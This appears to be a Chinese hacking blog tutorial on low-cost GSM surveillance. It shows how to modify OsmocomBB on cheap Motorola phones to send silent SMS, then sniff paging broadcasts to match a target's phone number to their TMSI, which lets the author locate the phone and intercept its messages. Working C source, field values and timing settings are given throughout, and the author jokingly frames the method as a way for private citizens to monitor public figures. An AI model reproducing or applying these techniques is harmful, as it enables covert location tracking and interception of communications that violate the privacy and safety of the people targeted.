Author：fl00der https://twitter.com/xdzou
GSM Hacking：The application of Silent SMS in technical investigation
0x00 前言
技术侦查时我们经常需要对目标人物进行定位，监听目标人物的电话和短信。
如何做到呢？首选当然是高大上的7号信令系统（SS7）。你需要一个能够访问的支持MAP（Mobile Application Part）的SS7信令接入点，然后，你理论上就可以侦听，拦截，伪造全球任何移动用户的电话和短信了，也可以获得该手机当前接入的Cell ID从而精确定位。因为全球的电信运营商都连在一张信令网上，除非某些运营商做了信令过滤，否则不管你从哪个国家接入SS7，命令在全球运营商那里都会得到忠实执行。目前国际上常见的SS7信令接入点的租用价格是每月几千美元起，对机构来说并不是很贵。
科普：
SilentSMS：静默短信
信令系统#7（SS7：Signaling System #7）由 ITU-T 定义的一组电信协议，主要用于为电话公司提供局间信令。SS7 中采用的是公共信道信令技术（CCS：common-channel signaling），也就是带外（out-of-band）信令技术，即信令服务提供独立的分组交换网络。
MAP：Mobile Application Part （移动应用部分）七号信令的子集。用于连接分布式交换单元（MSC）和主数据库（HLR）。HLR能动态存储移动网络用户的当前位置和预置文件。在处理拨入呼叫的过程中需要使用HLR。当网络用户位置改变时，HLR也要相应更新，用户便由网络中的其他交换机服务。
MAP协议的主要内容包括移动性管理、呼叫业务处理、补充业务处理、短消息业务处理、操作维护和GPRS业务处理等。
但我们既不是国家机器，也不是土豪，我们只是一个普通的朝阳群众，怎么低成本的推动世界和平，保卫国家安全，以及对公众人物进行监督呢？
打开世界五大王牌情报组织之一朝阳群众的野战工具箱，我们会看到很多民间自制的情报工具，本文介绍其中的Slient SMS的低成本实现方法和简单应用。
其实，Silent SMS在各国执法部门都大量使用，即使他们同时也在使用SS7，比如柏林警方去年的发送数量就超过了10万。和SS7只能定位到基站不同，Silent SMS配合伪基站+三角定位法，开阔空间定位精度可以达到1米左右，实战中可以直接定位到广场上的某个人。这样即使目标人物使用了易容术，随身携带的手机也会不知不觉的告诉我们真相。
0x01 背景知识
手机号码（MSISDN）在移动通信网上是很少进行传输的。对于移动网络来说，区别不同手机的惟一ID是IMSI（International Mobile Subscriber Identity）。MSISDN是为了方便人类而做的一个IMSI在现实世界的映射。你打电话发短信时提交的是对方的MSISDN，移动网络收到你的请求后要把MSISDN映射回IMSI，然后才能处理。你接电话收短信时对方的MSISDN也是单独发送给你的，好让你能知道知道对方是谁。
而为了保护安全和隐私，IMSI在设计上也是尽量少的在网络上传输的，通常情况下只在首次Attach和越区切换位置更新时才需要向移动网络提交你的IMSI。当移动网络确认你的合法身份后会指派一个临时身份给你，在GSM网络里是TMSI（Temporary Mobile Subscriber Identity），在LTE里是S-TMSI（为了简化我们也把它称作TMSI），之后在需要身份识别的时候，都是用TMSI的。
科普：
IMSI（International Mobile Subscriber Identity，国际移动用户识别码）用于在全球范围唯一标识一个移动用户。一个IMSI唯一标识一个移动用户，在全世界都是有效的。
无线网络覆盖的范围很大，如果IMSI在网络中传递时被不法分子获取，这个是非常危险的。所以需要采用另外一种号码临时代替IMSI在网络中进行传递，这就是TMSI（Temporary Mobile Subscriber Identity，临时移动用户标识）。采用TMSI来临时代替IMSI的目的为了加强系统的保密性，防止非法个人或团体通过监听无线路径上的信令窃取IMSI或跟踪用户的位置。
所以，在我们侦听移动通信时会发现，上行的通信请求，不管是发短信还是打通话，只能侦听到发起者的TMSI和接收者的MSISDN；而下行的通信，不管是来电话还是来短信，只能侦听到发起者的MSISDN和接收者的TMSI。这样，如果我们不能找出TMSI和MSISDN的一一对应关系，我们就没法区分出哪些短信和通话是指向我们的目标人物的。
而找出了TMSI和MSISDN的对应关系，也就能通过侦听知道目标手机当前连在哪个蜂窝基站，从而实现对目标人物的定位。
扩展阅读
关于这里提到的定位的姿势可以看《从无线电角度揭秘定位劫持》一文的基站定位部分。
0x02 原理
当有新的Mobile Terminated Services，通常是短信或来电，要传送的时候，移动网络会发起Paging。目标手机守听时发现网络在呼叫自己的TMSI，就会向网络申请一个信道，申请成功后，手机转到该信道发送呼叫响应，网络回复该呼叫响应，然后经过鉴权、加密协商等流程后，网络开始向手机传送服务，这时手机才知道来的是电话还是短信，在收到一部分服务信息后，手机开始决定是否提示用户和如何提示用户，是来电话了还是收到短信了，是振铃还是震动等。
我们试图在不惊动目标人物的情况下找出TMSI和MSISDN的对应关系，依靠的就是Paging。根据以上流程我们可以看到，如果我们电话呼叫目标手机，在一个合适的时间点，即网络上已经广播了Paging信息，但目标手机还未振铃之前及时挂断，目标手机也是没有提示的，而我们却侦听到了一次Paging。如果能按照一定的时间间隔和多次重复这个过程，我们就能从侦听到的大量Paging广播中筛查出目标TMSI。问题在于，这个合适的时延比较难把握，而且不同运营商，甚至不同区域的网络还有差异，调校起来比较费事。这时，Silent
SMS就成了我们的首选。
Silent SMS是一种特殊格式的短信，在短信报文头上设置特殊的标识位以后，接收者手机收到后不会有任何提示和反应，也不会存储短信内容，而是直接丢弃。不使用特殊技术手段无法发现手机收到了Silent SMS。向目标手机发送Silent SMS，我们会侦听到网络广播的Paging信息，但是不需要像电话呼叫那样顾虑时延和及时挂断的问题，目标手机上不会有任何提示。而且我们还可以在空中侦听到短信的完整内容，当侦听到我们自己构造的特定内容的短信可以帮我们进一步确认该TMSI就是我们的目标。
TMSI是在一个LAC（Location Area Code）/TA（Tracking Area）里有效的，每当进入一个新的LAC/TA，手机就会被网络指派一个新的TMSI。要找出的对应关系，必须侦听目标手机当前所在的LAC/TA。对我们有利的是，Paging也是在LAC/TA里有效的，除了LTE的Smart Paging。
0x03 低成本实现
朝阳群众的情报工具应该尽可能的便宜，所以我们使用开源软件+廉价设备的方式。我们优选的方案是OsmocomBB + Motorola C118/C139。
网上能找到国外黑客写的用Python调用USB短信猫发送Silent SMS，用Airprobe + RTL-SDR接收的源代码，但是硬件成本比我们的贵，最关键是代码比较散。
OsmocomBB：基于一套泄露的基带源代码重写的开源的GSM基带项目，只能支持TI Calypso基带处理器。被用来参考的那套泄露源代码不完整，只有90+%的源代码，部分连接库没有源代码，而且也缺少DSP的代码。OsmocomBB被设计成黑客的实验工具，而不是供普通用户使用的手机系统，为了方便编写和修改，其Layer 2和3是在PC上运行的。
Motorola C118/C139：玩GSM必备，天然支持跳频，便宜，淘宝只要7元，可大量购买，接在USB Hub上，实现多路短信收发。其中，C139是彩屏，且ROM大些，是有潜力改造成用于复杂GSM攻击或工程路测，且支持中文显示和输入的黑客手机的。
具体实现上，我们需要使用两部C118/C139手机，一部用来发送Silent SMS，另一部用来侦听PCH并记录正在呼叫的TMSI。
C118（左）和C139（右）兄弟合影：
用来将C118/C139连接到电脑的CP2102（USB串口转换器）及2.5mm音频插头：
0x04 如何发送Silent SMS
OsmocomBB里的mobile程序是工作在Layer 2-3，用来收发短信和接打电话的。我们就修改它来发送Silent SMS。其实，可以把C118/C139看做是最便宜的短信猫，而修改过的mobile程序就是短信群发软件。
构造Silent SMS
每个短信都有一个TP-Protocol-Identifier字段，只要设置为0x40就相当于告知接收手机忽略此短信，所以目标手机会正常接收到这条短信，但是之后既不会提示也不会保存这条短信，只是简单的丢弃掉。每个短信还有一个TP-Data-Coding-Scheme字段，如果把首字节设为0xC0，接收手机同样会忽略此短信。
我们只要在发短信之前，把对应的字段做好设置，发出的就是Silent SMS了。这两个字段可以都设置，也可以只设置一个。偶尔会碰到运营商过滤特殊格式短信的情况，这时候就需要具体试一下到底哪个有效。我自己到目前为止没遇到过滤的情况。
主要数据结构
为了按特定时序发送Silent SMS，我们需要一个定时器。设定好时间间隔，定时器就会被定时触发，然后调用发送函数去发送一条Silent SMS。
struct osmo_timer_list tick_timer_smsping;
struct {
int pid;
int dcs;
} silent_sms;主要源代码
vty_interface.c
//新增控制台命令：silent，用于设置TP-PID和TP-DCS
DEFUN(silent, silent_cmd, "silent TP-PID TP-DCS",
"Set SMS messages header\n"
"1 for 0x40, 0 for default\n"
"1 for 0xC0, 0 for default\n")
{
int pid;
int dcs;
if (argc >= 1) {
pid = atoi(argv[0]);
dcs = atoi(argv[1]);
if (pid) {
silent_sms.pid = 1;
} else {
silent_sms.pid = 0;
}
if (dcs) {
silent_sms.dcs = 1;
} else {
silent_sms.dcs = 0;
}
}
return CMD_SUCCESS;
}发送部分的源代码：
if(smscnt == MAX_SMS_Count){//开始批量发送
tick_timer_smsping.cb = &sms_ping; //初始化定时器
tick_timer_smsping.data = &timer_step;
smscnt--;
ping_sms_sca = strdup(sms_sca);
ping_number = strdup(number);
ping_sms_txt = strdup(argv_concat(argv, argc, 2));
call_vty = vty;
sms_send(ms, sms_sca, number, argv_concat(argv, argc, 2));
vty_out(vty, "Slient SMS %d sent%s", smscnt, VTY_NEWLINE);
}
gsm411_sms.c
struct gsm_sms *sms_from_text(const char *receiver, int dcs, const char *text)
{
struct gsm_sms *sms = sms_alloc();
if (!sms)
return NULL;
strncpy(sms->text, text, sizeof(sms->text)-1);
sms->reply_path_req = 0;
sms->status_rep_req = 0;
sms->ud_hdr_ind = 0;
if (silent_sms.pid)
sms->protocol_id = 0x40; /* type 0 */
else
sms->protocol_id = 0; /* implicit */
if (silent_sms.dcs)
sms->data_coding_scheme = 0xC0;
else
sms->data_coding_scheme = dcs;
strncpy(sms->address, receiver, sizeof(sms->address)-1);
/* Generate user_data */
sms->user_data_len = gsm_7bit_encode(sms->user_data, sms->text);
return sms;
}用来重复发送的源代码：
void sms_ping(void *data)
{
struct osmocom_ms *ms;
ms = get_ms("1", call_vty);
vty_notify(ms, "ping sent");
if(smscnt == 0){
return 0;
}
sms_send(ms, ping_sms_sca, ping_number, ping_sms_txt);
smscnt--;
return 0;
}
static int gsm411_sms_report(struct osmocom_ms *ms, struct gsm_sms *sms,
uint8_t cause)
{
vty_notify(ms, NULL);
if (!cause){
vty_notify(ms, "SMS %d to %s successfull\n", smscnt, sms->address);
if(smscnt != 0)
osmo_timer_schedule(&tick_timer_smsping, 10, 0);//定时间隔10秒
}else
vty_notify(ms, "SMS to %s failed: %s\n", sms->address,
get_value_string(gsm411_rp_cause_strs, cause));
return 0;
}
使用mobile的命令行发送Silent SMS：
使用WireShark侦听发送的短信，可以看到TP-PID和TP-DCS分别是0x40，0xC0，短信内容为“testing 1 2 3”：
0x05 如何筛选TMSI
OsmocomBB里的ccch_scan程序经常被大家用来侦听短信。我们修改它来筛选排查出可能的目标TMSI。
在开始发送Silent SMS的时候，就立刻启动ccch_scan记录所有Paging的TMSI。通常，从开始发短信，到空中出现Paging信息，最快3秒钟，多数情况6-7秒钟。繁忙的基站每秒广播20多次寻呼。所以我们把TMSI队列深度设为300是足够的，大约可记录从发送Silent SMS开始15秒内的所有被呼叫的TMSI，这300个里面一定有我们的目标的TMSI，通常是在前面开始部分。队列到300为止，我们就是在这300个里面找出来重复次数大于我们设定次数的TMSI并打印出来。
数据结构
struct _tmsis_ {
uint8_t tmsi[4];
char cnt;
} tmsis[300];列出TMSI的源代码
void tmsi_match(uint8_t *t)
{
if(app_state.finding==1){
int i;
int f=0;
for(i=0; i app_state.mincnt){
printf("Possible TMSI: #%d, \t%s, %d times\n", i, osmo_hexdump(t,4), tmsis[i].cnt);
}
}
}
if((f==0)&&(app_state.tmsicnt<300)){//队列深度
app_state.tmsicnt += 1;
memcpy(tmsis[i].tmsi,t,4);
tmsis[i].cnt = 1;
printf("New TMSI:#%d, %s \tTotal: %d\n", i, osmo_hexdump(t,4), app_state.tmsicnt);
}
return;
}
if(!memcmp(t, app_state.wanted_tmsi, 4)) {
app_state.tmsi_matched = 1;
printf("TMSI Match %s\n", osmo_hexdump(t,4));
}
}
我们给ccch_scan新增加一个参数：-f paging次数。
国内不少地方为了提高接通率，当有Mobile Terminated Service要传递的时候是重复发出寻呼信息的，有的是Paging两次，多的甚至连续寻呼四次。这样如果你连续向目标手机发送10次短信，可能会侦听到20-40次Paging。所以你实战中你需要先侦听网络的PCH来以确定当地的设置情况。
static int l23_cfg_print_help()
{
printf("\nApplication specific\n");
printf(" -k --kc KEY Key to use to try to decipher DCCHs\n");
printf(" -t --tmsi TMSI Filter assignments with specified TMSI (paging only)\n");
printf(" -f --count Filter paging TMSI\n");
return 0;
}
static int l23_cfg_handle(int c, const char *optarg)
{
switch (c) {
case 'k':
if (osmo_hexparse(optarg, app_state.kc, 8) != 8) {
fprintf(stderr, "Invalid Kc\n");
exit(-1);
}
break;
case 't':
if (osmo_hexparse(optarg, app_state.wanted_tmsi, 4) != 4) {
fprintf(stderr, "Invalid TMSI\n");
exit(-1);
}
app_state.finding = 0;
break;
case 'f':
app_state.finding = 1;
app_state.mincnt= atoi(optarg);
break;
default:
return -1;
}
return 0;
}
运行ccch_scan来开始筛选TMSI，我们要求程序列出Paging超过16次的TMSI：
同时显示发送和筛选两个窗口，有的TMSI随着每次短信发送有节奏的出现，很快有一个TMSI就引起了我们的注意：818003B5，随着不断的发送短信，还不到10次短信，我们已经可以确定目标TMSI就是它。而且可以看出当前网络每传递一次短信就侦听到4次Paging：
我们拿出目标手机来确认一下，果然是这个TMSI。注意，为了工作方便，朝阳群众大都随身携带这种已开启Net Monitor的Nokia 3110手机：
用WireShark来侦听目标手机接收到的短信：
用我修改过的ccch_scan来侦听并解码目标手机所在基站的下行短信：
0x06 后记
手机通信安全跨着通信和计算机两个专业领域，两者都精通的安全研究人员比较少，因而一直缺少成熟好用的攻击工具。要想玩好手机安全，一定要自己动手编程，打造自己的安全工具。
本文没有涉及LTE下的TMSI筛选和手机定位，但是Paging的原理类似，而且下行的数据报文传递前也会产生Paging信息，再加上运营商的2G/3G/4G是可以互操作的，因而可以利用的途径更多。惟一的问题是缺少基带开源的LTE手机，我们要玩LTE，就必须使用SDR，导致成本不够亲民。即使发送Silent SMS仍然使用C118/C139，侦听LTE通信也必须使用SDR。而且因为我国特殊的频段划分，LTE没有得到低端的黄金频段，基本集中在1900MHz和2600MHz，这样便宜的RTL-SDR也就无能为力了，玩LTE最差也要买个HackRF，但目前国产山寨HackRF质量还不稳定。。。
关于LTE下的玩法，未来找时间专文再探讨吧。
